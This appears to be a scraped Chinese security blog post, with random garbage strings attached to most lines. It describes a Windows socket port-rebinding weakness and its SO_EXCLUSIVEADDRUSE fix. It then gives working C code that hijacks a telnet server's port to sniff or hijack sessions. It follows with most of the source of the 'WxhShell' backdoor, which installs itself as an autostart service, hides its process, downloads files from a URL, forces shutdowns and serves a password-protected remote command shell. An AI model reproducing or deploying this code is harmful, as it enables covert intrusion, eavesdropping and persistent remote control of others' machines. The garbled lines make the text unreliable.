在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
{;4AdZk s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
EK:!.Fl 9wLV\>i[k saddr.sin_family = AF_INET;
~__]E53F 7)zn[4v7qt saddr.sin_addr.s_addr = htonl(INADDR_ANY);
]Xcqf9k "rz|sbj bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
y}jX/Ln Ba/Z<1) 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
H27J kZ& zuOx@T^ 这意味着什么?意味着可以进行如下的攻击:
ARYqX\-e 41%B%K* 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
^n5[pF}Gw 2Up1
FFRx 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
;$W/le"Xr +O23@G?x 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
|xaJv:96%
Mf0g)X}1 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
T:Dp+m!\{ 'tK5s>gv< 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
se](hu~w 4VE7%.z+ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
pfW0)V1t <a *X&P 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
=Haqr*PDx wC@5[e$ #include
bu"R2~sb #include
+r)'?zU #include
W(9fCDO; #include
.?b2Bd!MC DWORD WINAPI ClientThread(LPVOID lpParam);
Oqzz9+ int main()
~o`I[-g) {
-ecP@, WORD wVersionRequested;
0;'kv| DWORD ret;
_+K[1P WSADATA wsaData;
4cK6B)X BOOL val;
UJkg|eu SOCKADDR_IN saddr;
Z~o*$tF/ SOCKADDR_IN scaddr;
)AOD~T4s7 int err;
'j=7'aX>K SOCKET s;
TDg#O!DUF SOCKET sc;
JDVMq=ui int caddsize;
"H>L!v HANDLE mt;
pYV$sDlD DWORD tid;
q4vu r>m6 wVersionRequested = MAKEWORD( 2, 2 );
KU[eY} err = WSAStartup( wVersionRequested, &wsaData );
6~\z]LZ if ( err != 0 ) {
UM%[UyYQ printf("error!WSAStartup failed!\n");
cOra`7L` return -1;
i> Ssp }
G~T]m . saddr.sin_family = AF_INET;
06 gE;iT MP, l*wVd //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
vTYI
ez`g yv4ki5u` saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Ky`rf}cI> saddr.sin_port = htons(23);
+=%13cA*U if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-CW&!oW {
^z3-$98=A printf("error!socket failed!\n");
/E(H`;DG return -1;
2XrPgq' }
"Iu[)O% val = TRUE;
=9n$at$l@ //SO_REUSEADDR选项就是可以实现端口重绑定的
&9\z!r6mc if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
`pY\Mmgv1 {
i%H_ua printf("error!setsockopt failed!\n");
E!'H,#"P return -1;
Okca6=2" }
(A?{6 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
0~RsdQGqC //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
d
-6[\S# //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
w3:WvA5jt DHGv<
F@ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
ZC3b9:tk {
4*OL^\% ret=GetLastError();
N]: "3?% printf("error!bind failed!\n");
v,r}q1.E} return -1;
xEaRuH c }
ke|v|@ listen(s,2);
94%gg0azp while(1)
I jN3 jU {
';??0M caddsize = sizeof(scaddr);
1Nx.aji //接受连接请求
vTjgW?9 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
!cw<C* if(sc!=INVALID_SOCKET)
0Mt2Rg} {
i^sK+v mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
zvL&V
.> if(mt==NULL)
k|-`d {
c\UVMyE printf("Thread Creat Failed!\n");
&oiX/UaY break;
@Fqh]1t }
rq9{m( }
nL@
"FZ`( CloseHandle(mt);
:N^1T6v }
Ken |!rL closesocket(s);
FCQoz"M WSACleanup();
Mm-FdP
m return 0;
:SG9ygq' }
0.O pgv2K DWORD WINAPI ClientThread(LPVOID lpParam)
JY0t Hs {
B{a:cz>0< SOCKET ss = (SOCKET)lpParam;
`LH!"M SOCKET sc;
'Z'X`_ unsigned char buf[4096];
%f\{ ] SOCKADDR_IN saddr;
\v]} long num;
q#v.-013r DWORD val;
&/=>:ay+# DWORD ret;
j>eL&.d //如果是隐藏端口应用的话,可以在此处加一些判断
<1&kCfE& //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
rMSB|*_ saddr.sin_family = AF_INET;
5. :To2 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
L@S"c
( saddr.sin_port = htons(23);
z=!$3E ecr if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:q~qRRmjBe {
7GfgW02 printf("error!socket failed!\n");
xC`Hm?kM return -1;
l7aGo1TcIh }
)(*A1C[ val = 100;
swG^L$r` if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
q?8MKf[N {
Y+iC/pd ret = GetLastError();
/`hr) return -1;
)]J I Q"rR }
p1v:X? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
)
EEr? " {
GWjKZ1p ret = GetLastError();
zA&0H return -1;
tA#X@HIE }
FO_nS if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
pPo?5s {
~0ZEnejy printf("error!socket connect failed!\n");
-c<<A.X closesocket(sc);
V==' 7n closesocket(ss);
E}k#-+u<S4 return -1;
P.qD,$- }
z$ysp! while(1)
P)1@HDN== {
^Q!:0D* //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
H!F'I)1 //如果是嗅探内容的话,可以再此处进行内容分析和记录
>]:R{1h //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
zIF &ZYP num = recv(ss,buf,4096,0);
*Q!b%DIa$ if(num>0)
UgJlXB|a%2 send(sc,buf,num,0);
[7<X&Q else if(num==0)
vR,HCI break;
m6 hA,li num = recv(sc,buf,4096,0);
,EZ&n[%Ko if(num>0)
@KOa5-u send(ss,buf,num,0);
yp@mxI@1 else if(num==0)
6sP;O,UX break;
JTx}{kVO }
}S#.Pw% closesocket(ss);
Maa5a closesocket(sc);
!-N!80 return 0 ;
T{uktIO/ }
@;rVB ykM#EyN N"r ;d+LTL ==========================================================
_'I9rGlx3 '')G6-c/ 下边附上一个代码,,WXhSHELL
7y[B[$P _Fz)2h,3 ==========================================================
Ku&(+e e3S6+H),I #include "stdafx.h"
++dV5 5@0c@Q #include <stdio.h>
t<`ar@} #include <string.h>
@J r #include <windows.h>
<U~P-c
tN #include <winsock2.h>
Q@$1!9m #include <winsvc.h>
hJ}G5pX #include <urlmon.h>
\&TTe8 E32z(:7M #pragma comment (lib, "Ws2_32.lib")
`/ HygC6 #pragma comment (lib, "urlmon.lib")
3_h%g$04s PA,j;{,(b #define MAX_USER 100 // 最大客户端连接数
_I8-0DnOM #define BUF_SOCK 200 // sock buffer
9txZ6/
#define KEY_BUFF 255 // 输入 buffer
sm_:M| [D Q'8v!/"}p{ #define REBOOT 0 // 重启
CC)9Ks\ #define SHUTDOWN 1 // 关机
}K*ri ~(Tz < #define DEF_PORT 5000 // 监听端口
Fe= 4^. AoR`/tr, #define REG_LEN 16 // 注册表键长度
>|iy= Zn%' #define SVC_LEN 80 // NT服务名长度
4;*V^\',9
|hdh4P$+| // 从dll定义API
CD[7h typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
VLO>{"{' typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
cYp}$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
\O0fo^+U,, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
)T4L^^` ;T_9;RU<'b // wxhshell配置信息
h)<R#xw struct WSCFG {
xv*mK1e int ws_port; // 监听端口
ex|kD*= char ws_passstr[REG_LEN]; // 口令
D3K`b4YV int ws_autoins; // 安装标记, 1=yes 0=no
O[`Ob6Q{F char ws_regname[REG_LEN]; // 注册表键名
:rj78_e9 char ws_svcname[REG_LEN]; // 服务名
jPs+i char ws_svcdisp[SVC_LEN]; // 服务显示名
<VBw1|)$@ char ws_svcdesc[SVC_LEN]; // 服务描述信息
{c1qC zM4 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
=&p bh int ws_downexe; // 下载执行标记, 1=yes 0=no
|4c==7. char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
kzmt'/ L8 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
U=t'>;(g .( J/*H };
w\mF2h <- ?B# // default Wxhshell configuration
nZT@d;]U9 struct WSCFG wscfg={DEF_PORT,
C:K\-P9 "xuhuanlingzhe",
N:<O 1,
Y]lqtre*Y "Wxhshell",
D=\|teA& "Wxhshell",
6a@~;!GlI "WxhShell Service",
BNy"YK$ "Wrsky Windows CmdShell Service",
4W?<hv+k7* "Please Input Your Password: ",
WAa?$"U2 1,
Y;w]u_ "
http://www.wrsky.com/wxhshell.exe",
}-vBRY "Wxhshell.exe"
y(dS1.5F };
Z~uKT n br;G5^j3? // 消息定义模块
]M2<I#hF. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
./
:86@O char *msg_ws_prompt="\n\r? for help\n\r#>";
KRtu@;? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
93J)9T char *msg_ws_ext="\n\rExit.";
}*'ha=`J char *msg_ws_end="\n\rQuit.";
bxN;"{>Xz char *msg_ws_boot="\n\rReboot...";
F[u%t34' char *msg_ws_poff="\n\rShutdown...";
.}E)7"Qi, char *msg_ws_down="\n\rSave to ";
lP
e$AI X\x9CA char *msg_ws_err="\n\rErr!";
/kz&9FM char *msg_ws_ok="\n\rOK!";
d.AjH9 jg 9yh@_~rZ char ExeFile[MAX_PATH];
E8i:ER $$7 int nUser = 0;
=F&RQ}$ HANDLE handles[MAX_USER];
]cr;PRyv int OsIsNt;
s2v* !_) ^bRd SERVICE_STATUS serviceStatus;
(Pd>*G\ SERVICE_STATUS_HANDLE hServiceStatusHandle;
P1wRt5 vR$5ItnT // 函数声明
0I((UA/7Zs int Install(void);
$at|1+bQ int Uninstall(void);
f>dkT'4 int DownloadFile(char *sURL, SOCKET wsh);
?U08A{ c int Boot(int flag);
2[po~}2-0 void HideProc(void);
jyhzLu int GetOsVer(void);
Aa>gN int Wxhshell(SOCKET wsl);
05B+WJ1 void TalkWithClient(void *cs);
]5fM?: <l int CmdShell(SOCKET sock);
wF8\ int StartFromService(void);
j\f$r,4 int StartWxhshell(LPSTR lpCmdLine);
*]WXM.R8 LFyceFbm VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
l7,qWSsnK VOID WINAPI NTServiceHandler( DWORD fdwControl );
Zk
UuniO uR@`T18 // 数据结构和表定义
Qiw4'xQm SERVICE_TABLE_ENTRY DispatchTable[] =
t5X
lR]` w {
]?(F'& {wscfg.ws_svcname, NTServiceMain},
f9UaAdJ( {NULL, NULL}
"5:f{GfO#v };
)V3(nZY h(Ed% // 自我安装
5iddB $ int Install(void)
2nkj;x{H$ {
lmKq xs4 char svExeFile[MAX_PATH];
\!Zh= "hN HKEY key;
a~F@3Pd strcpy(svExeFile,ExeFile);
;J-Ogt @d7 V2{#<d-T! // 如果是win9x系统,修改注册表设为自启动
%D(prA_w if(!OsIsNt) {
;&6PL]/d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
;-pvc<_c< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
1lyOp RegCloseKey(key);
9}cuAVI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/}`/i(k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Gr$*t,ZW RegCloseKey(key);
/ 7X dV return 0;
~e77w\Q0 }
Sn2Ds)Pfx3 }
|8 2tw|<o }
>B /&V|E else {
xeM':hD.o IXvz&4VD // 如果是NT以上系统,安装为系统服务
|4.o$*0Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
gkML .u if (schSCManager!=0)
](>7h_2B {
Xm:=jQn SC_HANDLE schService = CreateService
QYfAf3te (
~}-p5 q2 schSCManager,
uuYH6bw*d wscfg.ws_svcname,
#r.` V!= wscfg.ws_svcdisp,
#oJbrh9J6 SERVICE_ALL_ACCESS,
_~ZQ b SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
xPMyG); SERVICE_AUTO_START,
_:X|R#d SERVICE_ERROR_NORMAL,
* \o$-6<
svExeFile,
N~;
khS] NULL,
hLbT\J`I NULL,
%}MA5 t]o NULL,
;%7XU~<a NULL,
QHs:=i~VH NULL
Eqmv`Z
[_ );
'SU9NQS if (schService!=0)
6!%d-Z7) {
j(6$7+2qN CloseServiceHandle(schService);
_SIs19"lR CloseServiceHandle(schSCManager);
+GYMJK`S+ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
G:c8`*5Q strcat(svExeFile,wscfg.ws_svcname);
HS6Imi if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
&O6;nJEI RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
m/hi~.D9 RegCloseKey(key);
y|;8 :b32 return 0;
?FV7|)f }
nN=:#4
>Y }
oIvnF:c CloseServiceHandle(schSCManager);
lii]4k+z }
A2|o=mOH }
))IgB).3M 7t-*L}~WA return 1;
`@$"L/AJ
}
B}q ?$J7%I@ // 自我卸载
0?F@iB~1F int Uninstall(void)
MeI2i {
&@W4^-9 HKEY key;
2&gVZ z !/4V^H if(!OsIsNt) {
c[h'`KXJf- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
c. TB8Ol RegDeleteValue(key,wscfg.ws_regname);
cCh0?g7nV RegCloseKey(key);
F8S~wW=\w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
u3M`'YCb RegDeleteValue(key,wscfg.ws_regname);
_)#=>$k\ RegCloseKey(key);
)7I.N]= return 0;
9*=@/1 }
lbKv }
Q.9Ph
~ }
)iEa2uJ else {
fXu~69_ u+z .J4w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
CRc!|? if (schSCManager!=0)
v?YdLR {
us\%BxxI9 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
9 {O2B5u1 if (schService!=0)
Et}C`vZ+Ve {
l&6U|q` if(DeleteService(schService)!=0) {
1H&?UP4=( CloseServiceHandle(schService);
FVsu8z u
CloseServiceHandle(schSCManager);
2fkIdy#n@ return 0;
7>PF ~= }
RwAbIXG{0 CloseServiceHandle(schService);
z-KrQx2
}
/S7+B] CloseServiceHandle(schSCManager);
{yvb$ND|j{ }
/h?<MI\7V }
H$~M`Y9I~ ~vW)1XnK return 1;
jIAW-hc] }
xa87xX=a )"(V*Z // 从指定url下载文件
4R&*&GZ# int DownloadFile(char *sURL, SOCKET wsh)
D^66p8t {
ftYR,!& HRESULT hr;
? .c?Pu char seps[]= "/";
$.oOG"u0] char *token;
N4I^.k<-A char *file;
b%Wd<N2 char myURL[MAX_PATH];
t{_!Z(Rt5) char myFILE[MAX_PATH];
g~~m'^ {iA^rv| strcpy(myURL,sURL);
x S token=strtok(myURL,seps);
yJnPD/i while(token!=NULL)
^F>4~68d {
(N,nux(0k file=token;
V-[2jC{ token=strtok(NULL,seps);
^[ET&" }
;LHDh_.pX *Y8XP8u/ GetCurrentDirectory(MAX_PATH,myFILE);
jMK3T strcat(myFILE, "\\");
CXBzX:T?# strcat(myFILE, file);
fucUwf\_ send(wsh,myFILE,strlen(myFILE),0);
{UP'tXah send(wsh,"...",3,0);
aQ&uC )w hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
`koOp if(hr==S_OK)
<e'P%tG' return 0;
fk+1# 7{ else
s>T`l return 1;
fCLcU@3W? Gu2_dT }
SV&kWbS !d\t:0; // 系统电源模块
,,S9$@R int Boot(int flag)
K6E}";; {
d{W}p~UbH HANDLE hToken;
TW>?h=.z TOKEN_PRIVILEGES tkp;
.\$Wy$ d d& hD[v if(OsIsNt) {
;vMn/ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
]x2Jpk99a LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
~NxEc8Y tkp.PrivilegeCount = 1;
l$M$o( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Hfke AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
|Z
d]=tue if(flag==REBOOT) {
moCK-: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
m)r]F#@/ return 0;
Z+0?yQ=% }
QW2?n`Fa9- else {
n<E.Em1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
RYt6=R+f return 0;
7UnzIe }
=qw&dwIQ }
HM):" else {
IQIbz{bMx if(flag==REBOOT) {
$Buf#8)F* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
wk@yTTnb return 0;
^T{8uJ'kn }
?NlSeh else {
:Dayv6g if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
vb
%T7 return 0;
;,dkJ7M }
iOll WkF }
[%jxf\9jJ_ FOSbe] return 1;
@HvScg*Y }
d5:tSO K@6`-|I // win9x进程隐藏模块
dnwdFsf void HideProc(void)
O4E(R?wd {
l~['[Ub0) YN^T$,* HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
[^M|lf if ( hKernel != NULL )
x<@kjfm5 {
HVGr-/ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
8)Zk24:])_ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
#X5hSw; FreeLibrary(hKernel);
XIRR Al(, }
}%x}fu# gD6tHg>_ return;
H<Hrwy~ }
Pcdf$a"` LEK/mCL // 获取操作系统版本
0I
@$ 0Gg int GetOsVer(void)
]26mB {
JpmB;aL#% OSVERSIONINFO winfo;
]n5"Z,K winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
]^ #`j GetVersionEx(&winfo);
zP&q7 t;> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
[f/.!@sj return 1;
um[!|g/ else
Q&PB]D{ return 0;
MRs,l' }
sP y2/7Wqd xs%LRF#u // 客户端句柄模块
U` hfvTi int Wxhshell(SOCKET wsl)
8R}K?+] {
@!<d0_dnC SOCKET wsh;
V&[eSVY? struct sockaddr_in client;
f05=Mc&) DWORD myID;
x'qWM/ -`Q}tg>cT while(nUser<MAX_USER)
AK *N {
HIGNRm int nSize=sizeof(client);
m?;$;x~Dj wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
%2D17*eK if(wsh==INVALID_SOCKET) return 1;
|l7%l&! 4P%m>[ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
.*!#98pT if(handles[nUser]==0)
9afh[3qm closesocket(wsh);
Me/\z^pF else
Us-A+)r*! nUser++;
\QT9HAdd@ }
8;#AO8+U7) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
6IP$n($2 !5UfWk\G return 0;
}lP 5GT2 }
/C$
xH@bb `?9T~, // 关闭 socket
8QF2^*RZ7z void CloseIt(SOCKET wsh)
*QH[,F`I {
^.vmF>$+I closesocket(wsh);
6>,#
6{?jl nUser--;
C),7- ? ExitThread(0);
a4&:@`= }
nm @']
EgNH8i // 客户端请求句柄
`c(\i$1JY) void TalkWithClient(void *cs)
8Z# 21X> {
AIh*1>2Xn S;=_;&68? SOCKET wsh=(SOCKET)cs;
w!`Umll2 char pwd[SVC_LEN];
iYKU[UP? char cmd[KEY_BUFF];
`*yAiv> char chr[1];
U-EhPAB@ int i,j;
"K?Q 0pN{y}x, while (nUser < MAX_USER) {
3taa^e. 3SNL5 if(wscfg.ws_passstr) {
a2yE:16o6 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
eN/G i< //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
OVR?*"N_ //ZeroMemory(pwd,KEY_BUFF);
mW4%2fD[ i=0;
m<: IFx# while(i<SVC_LEN) {
_ 08];M| 2a `J%A // 设置超时
l>&sIX fd_set FdRead;
.Xd0
Q=1h struct timeval TimeOut;
nbmc[!PwG FD_ZERO(&FdRead);
tZA: FD_SET(wsh,&FdRead);
-(IC~ TimeOut.tv_sec=8;
y
~AmG~ TimeOut.tv_usec=0;
{DBIonY]; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
>F3.c%VU]w if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Ld(NhB'7 `4
UlJ4<` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
!M;A*:- pwd
=chr[0]; jGD%r~lN
if(chr[0]==0xd || chr[0]==0xa) { (}gcY
pwd=0; _%Z P{5D>
break; V1utUGJV
} 2dbRE:v5
i++; 6I |A-h
} 8h.V4/?
]sj0~DI*m
// 如果是非法用户,关闭 socket aB"xqh)a}T
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y=2Un).&
} JsQ6l%9
kX2d7yQZz
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l,d, T
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5~r2sCDPk
>I<PO.c!
while(1) { G7-!`-Nk
Gt~JA0+C)7
ZeroMemory(cmd,KEY_BUFF); nQ=aLV+'
Eg8i _s~:
// 自动支持客户端 telnet标准 z%:1)
j=0; uLV BM]Qj
while(j<KEY_BUFF) { '4u v3)P
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }9&9G%
cmd[j]=chr[0]; 8eyl,W=dn
if(chr[0]==0xa || chr[0]==0xd) { HI!4
cmd[j]=0; OW`STp!
break; Gv~p
} T PYDs+U
j++; M"wue*&
} Q~Ea8UT.#
nvyB/
// 下载文件 8;n_TMb
if(strstr(cmd,"http://")) { 6E^~n
send(wsh,msg_ws_down,strlen(msg_ws_down),0); &88oB6$D^q
if(DownloadFile(cmd,wsh)) ?+`xe{k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \dkOK`)b
else Gi7RMql6Q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z8&'f,
} CAgaEJhX3
else { kso*} uh0
gx;O6S{
switch(cmd[0]) { )^/0cQcJ
PW)aLycPK
// 帮助 =~|:t&v=c
case '?': { {THqz$KN
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |y1;&<
break; "2hh-L7ql
} |4C^$
// 安装 '6S %9ahE
case 'i': { +>YfRqz:KB
if(Install()) u%2KwRQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BHr|.9g]%%
else $YM_G=k
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kf.T\V4%
break; <qeCso
} {9'M0=
// 卸载 V#^yX%
case 'r': { %Fft
R1"
if(Uninstall()) _T*AC.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LP<<'(l`
else |t6~%6^8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3,6Ox45
break; $H*/;`,\[
} -=5)NH
t
// 显示 wxhshell 所在路径 .j?kEN?w
case 'p': { #n7Yr,|Z
char svExeFile[MAX_PATH]; p^X^1X7
strcpy(svExeFile,"\n\r"); x "\qf'{D
strcat(svExeFile,ExeFile); Pil;/t)"
send(wsh,svExeFile,strlen(svExeFile),0); NFyMY#\]
break; &<1`O
} F
?=9eISLJ
// 重启 !% S4n
case 'b': { }ugxN0
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d2jr8U
if(Boot(REBOOT)) 5*G%IR@@LK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); GYK\LHCPd
else { JN[0L:
closesocket(wsh); m*n5zi|O
ExitThread(0); @Icq1zb]
y
} {fz$Z!8-
break; `W5-.Tv
} h;M3yTM-
// 关机 IeTdN_8
case 'd': { jw>hk
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jk70u[\
if(Boot(SHUTDOWN)) S/gm.?$V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nhH;?D3
else { =m tY
closesocket(wsh); ' [p)N,
ExitThread(0); \}dyS8
} ZYMw}]#((E
break; (Hp' B))2
} APSgnf
// 获取shell b?VV'{4
case 's': { H3O@9YU
CmdShell(wsh); dULS^i@@
closesocket(wsh); q|dH~BK
ExitThread(0); .<&s%{EW
break; ' Q7Y-V
} 8Y{s;U0n
// 退出 kiUk4&1
case 'x': { pIO4,VL;W
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r"wtZ]69
CloseIt(wsh); 1FERmf? ?d
break; o0I9M?lP
} I:=dG[\h2
// 离开 sYn[uPefj
case 'q': { Vxdp|
send(wsh,msg_ws_end,strlen(msg_ws_end),0); q=5l4|1
closesocket(wsh); ?<%=:
Yh
WSACleanup(); +U8Bln
exit(1); V3s L;
break; zx%X~U
} Vfs$VY2.
} !:0v{ZQ
} IVjU`ij
7@;">`zvm
// 提示信息 ^mPPyT ,(
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (03pJV&K
} 8]"(!i_;)
} r4{<Z3*N
|g&ymFc
return; ~[W#/kd1n
} s"~5']8
PLR0#).n
// shell模块句柄
&|o$=Ad
int CmdShell(SOCKET sock) *l+Cl%e
{ Fo|xzLm9*|
STARTUPINFO si; jna;0)
ZeroMemory(&si,sizeof(si)); 07_oP(;jT
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^DAu5 |--R
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0D ~
Tga)
PROCESS_INFORMATION ProcessInfo; |m*.LTO
char cmdline[]="cmd"; Ciihsm
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bbN%$/d
return 0; 77,oPLSn
} FxW&8 9G
#@f[bP}a
// 自身启动模式 wWjG
JvJ
int StartFromService(void) m7jA
,~O
{ oy\B;aAK
typedef struct H3KTir"on
{ o( G"k
DWORD ExitStatus; xvm5
DWORD PebBaseAddress; h5~n 1qX
DWORD AffinityMask; q31>uF
DWORD BasePriority; SreYJT%
ULONG UniqueProcessId; c$H+g,7xQ-
